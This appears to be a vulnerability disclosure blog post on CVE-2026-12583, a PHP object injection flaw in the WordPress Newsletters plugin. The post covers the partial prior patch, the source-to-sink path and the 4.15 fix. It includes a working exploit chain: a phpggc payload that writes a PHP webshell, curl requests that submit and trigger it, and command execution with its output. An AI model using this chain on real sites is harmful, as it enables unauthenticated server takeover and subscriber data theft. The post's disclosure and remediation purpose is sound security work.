August 29, 2026
Patching One Instance Does Not Fix the Class: PHP Object Injection to RCE in the Newsletters Pluginβ¦
How a prior CVE fix covered one unserialize() call and missed two others in the same function, leaving unauthenticated remote codeβ¦
By Yaswanth R. Sunkara
5 min read
How a prior CVE fix covered one unserialize() call and missed two others in the same function, leaving unauthenticated remote code execution open on a 30,000-install email plugin
CVE-2026β12583 | CWE-502: Deserialization of Untrusted Data | CVSS 8.1 High Auth required: None | Affected: Newsletters < 4.15 | Fixed: 4.15 WPScan Advisory Β· CVE Record
Newsletters by Tribulant Software is one of the oldest and most widely deployed email marketing plugins in the WordPress ecosystem. A public subscription form accepts custom fields from visitors before they are ever verified as real users. One of those fields was passed to PHP's unserialize() at render time, unauthenticated, with a fully functional gadget chain sitting in the plugin's own vendor directory. The result: remote code execution with no account required. This article traces how a partial patch for a prior CVE left two sibling calls untouched, and how a bundled dependency turned a stored value into shell access.
The Prior Fix Did Not Cover All the Calls
CVE-2025β67911 documented PHP object injection in the Newsletters plugin. Tribulant patched it. The fix added an is_serialized() guard and passed ['allowed_classes' => false] to unserialize() at the call site that was reported.
That is not the same as fixing the class of bug.
In a 12,000-line file named wp-mailinglist-plugin.php, unserialize() appears in multiple places. The patch covered one of them. Two others inside the same replace_custom_field() function, called every time a newsletter is rendered for any subscriber, were left bare.
The defended call, added as part of the prior fix, looks like this:
// Line 8843 β checkbox field type, patched
if (is_string($fieldvalue) && function_exists('is_serialized') && is_serialized($fieldvalue)) {
$maybe_unserialized = @unserialize($fieldvalue, array('allowed_classes' => false));// Line 8843 β checkbox field type, patched
if (is_string($fieldvalue) && function_exists('is_serialized') && is_serialized($fieldvalue)) {
$maybe_unserialized = @unserialize($fieldvalue, array('allowed_classes' => false));The missed calls, untouched in the same function:
// Line 9904 β pre_date field type, unpatched
$date = @unserialize($subscriber->{$field->slug});
// Line 9941 β default field type (all custom text fields), unpatched
if (($varray = @unserialize($value)) !== false) {// Line 9904 β pre_date field type, unpatched
$date = @unserialize($subscriber->{$field->slug});
// Line 9941 β default field type (all custom text fields), unpatched
if (($varray = @unserialize($value)) !== false) {Same function. Same data source. One defended, two not.
Source to Sink: The Attack in Full
The entry point is the public subscription form. The optin() method at line 2661 accepts $_POST directly from an anonymous visitor and stores every custom field value as a subscriber record column. No authentication. No serialization check at save time.
Visitor POST to /wp-admin/admin-post.php?action=newsletters_subscribe
-> Subscriber::optin($_POST) (no auth required)
-> saves raw field value to subscriber DB row
-> [subscriber reads newsletter "view online"]
-> render_email() -> replace_custom_field() (line 9623/9709)
-> switch ($field->type) ... default:
-> @unserialize($subscriber->{$field->slug}) (line 9941, no allowed_classes)
-> GuzzleHttp\Cookie\FileCookieJar::__destruct()
-> file_put_contents($attacker_path, $attacker_content)
-> webshell written to uploads directoryVisitor POST to /wp-admin/admin-post.php?action=newsletters_subscribe
-> Subscriber::optin($_POST) (no auth required)
-> saves raw field value to subscriber DB row
-> [subscriber reads newsletter "view online"]
-> render_email() -> replace_custom_field() (line 9623/9709)
-> switch ($field->type) ... default:
-> @unserialize($subscriber->{$field->slug}) (line 9941, no allowed_classes)
-> GuzzleHttp\Cookie\FileCookieJar::__destruct()
-> file_put_contents($attacker_path, $attacker_content)
-> webshell written to uploads directoryThe gadget chain is not something an attacker has to find externally. Guzzle 6.5.8 is bundled in the plugin's own vendor/ directory. FileCookieJar::__destruct() writes its cookie store to disk when the object is destroyed. Point it at a PHP file in a writable directory and it writes whatever content the serialized object specifies.
LEGITIMATE ATTACK
βββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββββββββββββ
custom_field: "Acme Corp" custom_field: O:34:"GuzzleHttp\Cookie\
FileCookieJar":2:{s:41:"...}
βββ serialized payload
Stored in DB: "Acme Corp" Stored in DB: serialized FileCookieJar object
On render: displayed as company name On render: @unserialize() fires __destruct()
-> file_put_contents('/uploads/x.php',
'<?php system($_GET[c]); ?>')LEGITIMATE ATTACK
βββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββββββββββββ
custom_field: "Acme Corp" custom_field: O:34:"GuzzleHttp\Cookie\
FileCookieJar":2:{s:41:"...}
βββ serialized payload
Stored in DB: "Acme Corp" Stored in DB: serialized FileCookieJar object
On render: displayed as company name On render: @unserialize() fires __destruct()
-> file_put_contents('/uploads/x.php',
'<?php system($_GET[c]); ?>')Three steps to exploitation:
# Step 1: Generate the payload
phpggc GuzzleHttp/FW1 \
/var/www/html/wp-content/uploads/x.php \
'<?php system($_GET["c"]); ?>' > payload.txt
# Step 2: Subscribe with the payload in a custom text field
curl -s -X POST 'https://target.com/wp-admin/admin-post.php' \
-d 'action=newsletters_subscribe' \
-d 'Subscriber[email]=attacker@evil.com' \
-d 'Subscriber[list_id][]=1' \
--data-urlencode "Subscriber[custom_text_field]=$(cat payload.txt)"
# Response: subscription confirmation (no error)
# Step 3: Trigger deserialization via view-online link
# (any newsletter view, or wait for the confirmation email's view link)
curl -s 'https://target.com/?newsletters-action=email&id=1&subscriber_id=<id>&key=<key>'
# FileCookieJar::__destruct() fires -> shell written
# Step 4: Execute
curl 'https://target.com/wp-content/uploads/x.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)# Step 1: Generate the payload
phpggc GuzzleHttp/FW1 \
/var/www/html/wp-content/uploads/x.php \
'<?php system($_GET["c"]); ?>' > payload.txt
# Step 2: Subscribe with the payload in a custom text field
curl -s -X POST 'https://target.com/wp-admin/admin-post.php' \
-d 'action=newsletters_subscribe' \
-d 'Subscriber[email]=attacker@evil.com' \
-d 'Subscriber[list_id][]=1' \
--data-urlencode "Subscriber[custom_text_field]=$(cat payload.txt)"
# Response: subscription confirmation (no error)
# Step 3: Trigger deserialization via view-online link
# (any newsletter view, or wait for the confirmation email's view link)
curl -s 'https://target.com/?newsletters-action=email&id=1&subscriber_id=<id>&key=<key>'
# FileCookieJar::__destruct() fires -> shell written
# Step 4: Execute
curl 'https://target.com/wp-content/uploads/x.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)What an Attacker Achieves
PHP object injection through a gadget that writes arbitrary files to a webserver path is remote code execution. No ambiguity about the impact ceiling.
- Webshell persistence: The written file survives plugin updates and server restarts. An attacker with a shell can establish a reverse connection, install a backdoor, and maintain access independently of the WordPress installation.
- Full database access: With shell access and
wp-config.phpin scope, every subscriber record, every sent email, every private subscriber list is readable. For a mailing list plugin, that is the entire business asset. - Lateral movement: The webserver user (
www-data) typically has read access to all vhosts on shared hosting. A single compromised newsletter installation can be used to pivot to other sites on the same server. - Mass subscriber exfiltration: The attacker already has a subscriber record in the database. The same shell gives read access to every other subscriber record, including email addresses, names, custom field values, and subscription preferences.
CVSS 8.1 vs. Real Business Impact
The published score is 8.1 High: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
The AC:H metric, Attack Complexity High, reflects that exploitation requires a suitable POP chain to be present in the target environment. In theory this is a constraint. In practice, Guzzle 6.5.8 ships inside the plugin itself, in vendor/guzzlehttp/guzzle/. Every installation of Newsletters carries the gadget. AC:H reduces the score from 9.8 to 8.1, but it does not reduce the real-world exploitability: any attacker who knows phpggc exists and can read the plugin's composer.json has everything they need.
The score communicates vulnerability characteristics. The characteristics here are: reachable with no account, exploitable with a tool that is publicly documented, and the consequence is full server-side code execution.
The Fix: Version 4.15
Version 4.15 extends the same guard that was applied to the checkbox field type in the prior patch to the remaining two call sites.
Before (vulnerable, all versions <= 4.14):
// replace_custom_field(), line 9904
case 'pre_date':
$date = @unserialize($subscriber->{$field->slug});
// replace_custom_field(), line 9941
default:
if (($varray = @unserialize($value)) !== false) {// replace_custom_field(), line 9941
default:
if (($varray = @unserialize($value)) !== false) {// replace_custom_field(), line 9904
case 'pre_date':
$date = @unserialize($subscriber->{$field->slug});
// replace_custom_field(), line 9941
default:
if (($varray = @unserialize($value)) !== false) {// replace_custom_field(), line 9941
default:
if (($varray = @unserialize($value)) !== false) {After (fixed in 4.15):
// Both sites now check is_serialized() and restrict allowed_classes
case 'pre_date':
if (is_serialized($subscriber->{$field->slug})) {
$date = @unserialize($subscriber->{$field->slug}, ['allowed_classes' => false]);
}
default:
if (is_serialized($value) && ($varray = @unserialize($value, ['allowed_classes' => false])) !== false) {// Both sites now check is_serialized() and restrict allowed_classes
case 'pre_date':
if (is_serialized($subscriber->{$field->slug})) {
$date = @unserialize($subscriber->{$field->slug}, ['allowed_classes' => false]);
}
default:
if (is_serialized($value) && ($varray = @unserialize($value, ['allowed_classes' => false])) !== false) {The fix works because is_serialized() rejects values that do not conform to PHP's serialization format, and allowed_classes => false prevents any class from being instantiated during deserialization even if a serialized object slips through. Together they break the gadget chain before it can execute. If you are running Newsletters, update to 4.15 or later immediately.
Timeline
- 2026β06β09: Vulnerability discovered during audit of Newsletters v4.14
- 2026β06β09: Docker DAST confirmed: phpggc payload delivered via subscribe form, deserialization triggered via view-online endpoint, webshell written and executed
- 2026β06β09: Reported to WPScan CNA (submission #41962)
- 2026β06β23: CVE-2026β12583 assigned by WPScan CNA
- 2026β06β29: Published to WPScan vulnerability database
- 2026: Patch released, Newsletters 4.15
What Should Have Caught This
1. When a prior CVE covers a bug class, audit every call site of that class, not just the reported one.
CVE-2025β67911 was a PHP object injection finding in this plugin. The correct response to a CWE-502 CVE in a plugin is to run grep -rn 'unserialize(' --include='*.php' and audit every result for user-influenceable input. Tribulant fixed the reported call site and stopped. In wp-mailinglist-plugin.php alone, unserialize() appears at lines 9104, 9904, and 9941, all operating on subscriber-supplied data. A class-level audit after the first CVE would have caught all three in the same session.
2. Subscriber database records are user input.
A common dismissal for deserialization findings is "the data comes from the database, so it is trusted." This is wrong when an unauthenticated form writes to that database. The subscribe form at admin-post.php?action=newsletters_subscribe requires no account. Whatever a visitor submits is stored verbatim. Any code path that later calls unserialize() on a subscriber field without restricting classes is deserializing attacker-controlled data, regardless of the database hop between input and execution.
3. Bundled dependencies are in-scope gadget chains.
A plugin that ships vendor/guzzlehttp/guzzle/ alongside its own code has made a gadget chain available on every installation. Security reviews of deserialization sinks must account for the full vendor directory, not just WordPress core classes. GuzzleHttp\Cookie\FileCookieJar is one of the most widely known PHP deserialization gadgets precisely because so many PHP applications bundle Guzzle. If unserialize() is reachable with attacker input and Guzzle is in vendor/, the finding is RCE until proven otherwise.
CVE-2026β12583 was discovered and reported through the WPScan responsible disclosure program. The vulnerability is patched in version 4.15. All technical details were verified in an isolated Docker test environment and are published after CVE assignment and patch availability.
References